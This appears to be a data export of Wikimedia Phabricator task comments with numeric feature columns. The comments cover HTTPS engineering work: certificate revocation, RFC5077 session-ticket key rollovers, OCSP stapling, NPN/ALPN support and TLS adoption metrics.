399088,revoke old digicert certificates,"forgot, planet is digicert, it will move, but dont revoke it yet, only the unified cluster cert(s)",,,1421176775,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.8260869565217391,"forgot, planet is digicert, it will move, but dont revoke it yet, only the unified cluster cert(s)"
86671,HTTPS RFC5077 session tickets encryption key rollovers,We should use nginx's newly-supported feature (plus scripts we should write) to perform staggered master encryption key rollovers for RFC 5077 session tickers.,Medium,50.0,1421161277,1508771878.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-lmzjf7l7kk7db6gimtth,task_description,duplicate,True,c3,1,True,False,False,-25,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,7.0,10.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.724137931034483,0.9655172413793104,We should use nginx's newly-supported feature (plus scripts we should write) to perform staggered master encryption key rollovers for RFC 5077 session tickers.
952019,HTTPS RFC5077 session tickets encryption key rollovers,"We still haven't had time to work on doing this ""right"".  Most likely the effort is better invested doing similar things on the TLSv1.3 side at this point, rather than trying to tack on RFC5077 for TLSv1.2.",,,1508771865,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-lmzjf7l7kk7db6gimtth,task_subcomment,,True,c3,3,True,,,120,True,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,18.0,5.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,3.8636363636363638,0.8181818181818182,"We still haven't had time to work on doing this ""right"".  Most likely the effort is better invested doing similar things on the TLSv1.3 side at this point, rather than trying to tack on RFC5077 for TLSv1.2."
504045,HTTPS RFC5077 session tickets encryption key rollovers,"Re-opening this.  Current thinking is we will eventually do this, and it's do-able with our current software stack.  Just requires some engineering effort on secure distribution and synchronized rotation of a set of randomly-generated keys...",,,1438955027,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-lmzjf7l7kk7db6gimtth,task_subcomment,,True,c3,3,True,,,5,True,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.333333333333333,0.8333333333333334,"Re-opening this.  Current thinking is we will eventually do this, and it's do-able with our current software stack.  Just requires some engineering effort on secure distribution and synchronized rotation of a set of randomly-generated keys..."
418267,HTTPS RFC5077 session tickets encryption key rollovers,"For the time being, we've decided to simply disable RFC5077 session tickets in the new jessie setup, as we're using client IP hashing for session id resumption, and it sidesteps the whole issue of the affect of RFC5077 on PFS.

As part of the change for this ( https://gerrit.wikimedia.org/r/#/c/189613/ ), we implemented a cronjob to roll over the keys in a simple manner on the legacy boxes (as tickets can't be disabled there), so closing this issue for now.  We can raise a new issue if/when we decide to re-architect our scalability around RFC5077 mechanisms at a later date.",,,1425048427,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-lmzjf7l7kk7db6gimtth,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,4.5,0.0,4.5,15.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,2.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,2.5,0.0,0.0,0.0,0.0,0.0,13.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,7.5,1.5,5.0,1.5,0.5,9.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,4.5,15.0,4.0,0.0,0.0,0.0,4.5,0.0,1.0,3.5,0.0,2.0,0.0,0.0,0.0,3.731497175141243,0.8240112994350283,"For the time being, we've decided to simply disable RFC5077 session tickets in the new jessie setup, as we're using client IP hashing for session id resumption, and it sidesteps the whole issue of the affect of RFC5077 on PFS.

As part of the change for this ( URL ), we implemented a cronjob to roll over the keys in a simple manner on the legacy boxes (as tickets can't be disabled there), so closing this issue for now.  We can raise a new issue if/when we decide to re-architect our scalability around RFC5077 mechanisms at a later date."
86666,HTTPS performance tuning,"As part of our HTTPS scalability efforts, we should work towards improving the performance hit that HTTPS users incur right now.

More specifically:
[x] SNI, as to be able to send smaller, targeted certificates to users. Rolled out in Nov/Dec 2014.
[x] ECDSA Hybrid certificates (tracked separately, T86654)
[x] Enable ~~ALPN~~/NPN, without SPDY. This will signal UAs to use TLS False Start.
[x] Tune to smaller TLS record sizes, ~~potentially dynamic~~
[x] OCSP stapling
[ ] Session cache tuning (check for hit ratio, increase cache, rollovers)

SPDY, although related, is not on-topic for this. There's T35890 tracking progress for that one.

All of the above are for the most part on a newer platform, cf. T86648.",Medium,50.0,1421160679,1438954941.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_description,resolved,True,c3,1,True,False,True,-25,True,0.5,0.0,0.0,0.0,0.5,4.0,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,4.5,11.5,0.0,1.5,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,15.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,15.0,1.0,0.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.0,11.5,8.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,2.0,0.5,9.0,3.6960035263003235,0.7271525124889803,"As part of our HTTPS scalability efforts, we should work towards improving the performance hit that HTTPS users incur right now.

More specifically:
[x] SNI, as to be able to send smaller, targeted certificates to users. Rolled out in Nov/Dec 2014.
[x] ECDSA Hybrid certificates (tracked separately, T86654)
[x] Enable ~~ALPN~~/NPN, without SPDY. This will signal UAs to use TLS False Start.
[x] Tune to smaller TLS record sizes, ~~potentially dynamic~~
[x] OCSP stapling
[ ] Session cache tuning (check for hit ratio, increase cache, rollovers)

SPDY, although related, is not on-topic for this. There's T35890 tracking progress for that one.

All of the above are for the most part on a newer platform, cf. T86648."
504044,HTTPS performance tuning,"Basically everything we talked about here is already well-handled and/or we moved in a different direction and this ticket's text is simply outdated.  Of course, perf is always something we'll keep improving on.  The only real oustanding  thing here is about session caching: we're doing about as well as we can with raw sessionids and ipvs-sh, and the next step is RFC5077 really.  We can re-open the old ticket for that (T86671) or make a new one...",,,1438954941,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,3,True,,,5,True,0.0,2.0,0.0,1.0,0.0,8.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,1.0,0.0,6.0,1.0,12.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,6.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,10.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.787878787878788,0.7272727272727273,"Basically everything we talked about here is already well-handled and/or we moved in a different direction and this ticket's text is simply outdated.  Of course, perf is always something we'll keep improving on.  The only real oustanding  thing here is about session caching: we're doing about as well as we can with raw sessionids and ipvs-sh, and the next step is RFC5077 really.  We can re-open the old ticket for that (T86671) or make a new one..."
432590,HTTPS performance tuning,"OCSP went out to all clusters today, as the testing over the past ~24H looked pretty good.  Filed a future task to improve the robustness and adaptability of the updater: T93927 .

Also, @ori found a TCP optimization we could use, that was merged last night as well: https://gerrit.wikimedia.org/r/#/c/199556/
",,,1427309144,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-15,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,10.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9827586206896552,0.8275862068965517,"OCSP went out to all clusters today, as the testing over the past ~24H looked pretty good.  Filed a future task to improve the robustness and adaptability of the updater: T93927 .

Also,SCREEN_NAME found a TCP optimization we could use, that was merged last night as well: URL
"
431831,HTTPS performance tuning,"OCSP Stapling testing on cp1008 looks good so far.  I want to leave it on just the test host for a day or two first, though, to observe at least the medium-term behavior of the updater script + icinga checks before deploying wider.  So probably Thursday for the prod clusters.",,,1427224046,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,15.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,3.847457627118644,0.8305084745762712,"OCSP Stapling testing on cp1008 looks good so far.  I want to leave it on just the test host for a day or two first, though, to observe at least the medium-term behavior of the updater script + icinga checks before deploying wider.  So probably Thursday for the prod clusters."
431821,HTTPS performance tuning,"Change 198110 merged by BBlack:
protoproxy/sslcert/cache: nginx ssl_stapling_file support

[[https://gerrit.wikimedia.org/r/198110]]",,,1427222322,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.454545454545454,0.8181818181818182,"Change 198110 merged by BBlack:
protoproxy/sslcert/cache: nginx ssl_stapling_file support

[[GERRIT_URL]]"
431678,HTTPS performance tuning,"Change 198110 had a related patch set uploaded (by Faidon Liambotis):
protoproxy/sslcert/cache: nginx ssl_stapling_file support

[[https://gerrit.wikimedia.org/r/198110]]
",,,1427211729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.366666666666666,0.8666666666666667,"Change 198110 had a related patch set uploaded (by Faidon Liambotis):
protoproxy/sslcert/cache: nginx ssl_stapling_file support

[[GERRIT_URL]]
"
430067,HTTPS performance tuning,"OCSP Stapling commits are here now: https://gerrit.wikimedia.org/r/#/q/status:open+project:operations/puppet+branch:production+topic:ocsp-stapling,n,z

Holding for the weekend, will get some Faidon-review and then merge->test->deploy early next week.",,,1426886674,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-15,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,"OCSP Stapling commits are here now: URL

Holding for the weekend, will get some Faidon-review and then merge->test->deploy early next week."
428211,HTTPS performance tuning,"OCSP Stapling should happen by the end of the week, I think.  Worst case mid-next-week.  I've been merging up some of Faidon's previous puppet cert refactoring today, which I think will form the basis of how we puppetize this for production (which is the only hard part remaining; I've already sorted out the technicalities of doing it manually on our test instance).
Session cache tuning is a bit of an unknown, other than that we know that how we're tuned today is not totally unreasonable.
ECDSA is all about waiting on our vendor at this point, as Faidon has noted in T86654.",,,1426665028,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-16,True,1.5,0.0,1.0,0.0,1.0,6.0,2.0,0.0,0.0,0.0,1.5,2.0,0.0,0.5,0.0,5.5,0.5,5.5,12.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,8.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,1.0,12.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.5,3.5,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,12.5,3.5,0.0,0.0,0.0,6.5,0.0,2.5,1.5,0.0,2.5,0.0,0.5,0.0,3.8095238095238093,0.7936507936507936,"OCSP Stapling should happen by the end of the week, I think.  Worst case mid-next-week.  I've been merging up some of Faidon's previous puppet cert refactoring today, which I think will form the basis of how we puppetize this for production (which is the only hard part remaining; I've already sorted out the technicalities of doing it manually on our test instance).
Session cache tuning is a bit of an unknown, other than that we know that how we're tuned today is not totally unreasonable.
ECDSA is all about waiting on our vendor at this point, as Faidon has noted in T86654."
428184,HTTPS performance tuning,Congrats for getting jessie into prod! Can we project an ETA yet for the remaining tuning tasks? Thanks.,,,1426660651,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,4.142857142857143,0.9523809523809523,Congrats for getting jessie into prod! Can we project an ETA yet for the remaining tuning tasks? Thanks.
408902,HTTPS performance tuning,"NPN is working with the current jessie-based stack.
ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that.
openssl 1.0.2 is currently in debian experimental ( https://packages.debian.org/experimental/openssl )",,,1423516047,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,12.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.12280701754386,0.8245614035087719,"NPN is working with the current jessie-based stack.
ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that.
openssl 1.0.2 is currently in debian experimental ( URL )"
408900,HTTPS performance tuning,"NPN + SPDY is enabled in the current test software stack and was fairly trivial to turn and seems to work fine.
ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that.
openssl 1.0.2 is currently in debian experimental ( https://packages.debian.org/experimental/openssl )",,,1423515861,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,13.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,13.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.072463768115942,0.7971014492753623,"NPN + SPDY is enabled in the current test software stack and was fairly trivial to turn and seems to work fine.
ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that.
openssl 1.0.2 is currently in debian experimental ( URL )"
408896,HTTPS performance tuning,"NPN + SPDY is enabled in the current test software stack and was fairly trivial to turn and seems to work fine.
ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that.",,,1423515631,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,14.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.0,0.8620689655172413,"NPN + SPDY is enabled in the current test software stack and was fairly trivial to turn and seems to work fine.
ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that."
86664,HTTPS performance & UA adoption metrics,"We're currently flying mostly blind as far HTTPS metrics go; we don't know, for example, what percentage of users supports which versions of TLS or ciphers, or (soon) SPDY/HTTP2. We do have some NavTiming metrics but we don't have a great way of displaying these (dashboards).

We should get more insight there. I've previously experimented with nginx lua + statsd plugin that logged ciphers & protocols and it did work fine but we should think of it more eloquently and deploy it. Probably blocked on T86648.",Medium,50.0,1421160279,1438966759.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_description,resolved,True,c3,1,True,False,True,-25,True,0.5,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,5.0,1.0,9.0,5.5,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,1.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,11.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.0,0.5,1.0,0.0,0.5,0.0,7.5,0.0,6.0,3.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,7.5,5.5,3.5,0.0,0.0,0.0,7.5,0.0,2.0,0.5,0.0,1.5,2.0,0.0,0.0,4.009433962264151,0.8113207547169812,"We're currently flying mostly blind as far HTTPS metrics go; we don't know, for example, what percentage of users supports which versions of TLS or ciphers, or (soon) SPDY/HTTP2. We do have some NavTiming metrics but we don't have a great way of displaying these (dashboards).

We should get more insight there. I've previously experimented with nginx lua + statsd plugin that logged ciphers & protocols and it did work fine but we should think of it more eloquently and deploy it. Probably blocked on T86648."
504176,HTTPS performance & UA adoption metrics,"We're not exactly flying blind anymore.  Analytics has done a bunch of independent analysis post-switch.  We've got cipher/protocol/sessionid metrics going to graphite and tessera, and of course since we're past the switch date we can already see the raw perf impact everywhere else.  Considering this done.",,,1438966759,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,2.0,10.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,6.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,8.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.158730158730159,0.7777777777777778,"We're not exactly flying blind anymore.  Analytics has done a bunch of independent analysis post-switch.  We've got cipher/protocol/sessionid metrics going to graphite and tessera, and of course since we're past the switch date we can already see the raw perf impact everywhere else.  Considering this done."
450132,HTTPS performance & UA adoption metrics,"Thanks for creating this task. It would be even nicer if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. With its current definition the task is too vague, it may range from few hours of work to add some graph for existing data to years of work for entire university departments.  :)

For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)",,,1430201566,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_subcomment,,True,c3,1,True,,,-10,True,2.5,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,11.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,1.5,0.0,1.5,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.5,0.0,23.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,2.0,4.0,0.5,1.5,4.5,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.5,11.0,0.5,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,3.975322420634921,0.7157738095238095,"Thanks for creating this task. It would be even nicer if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. With its current definition the task is too vague, it may range from few hours of work to add some graph for existing data to years of work for entire university departments.  :)

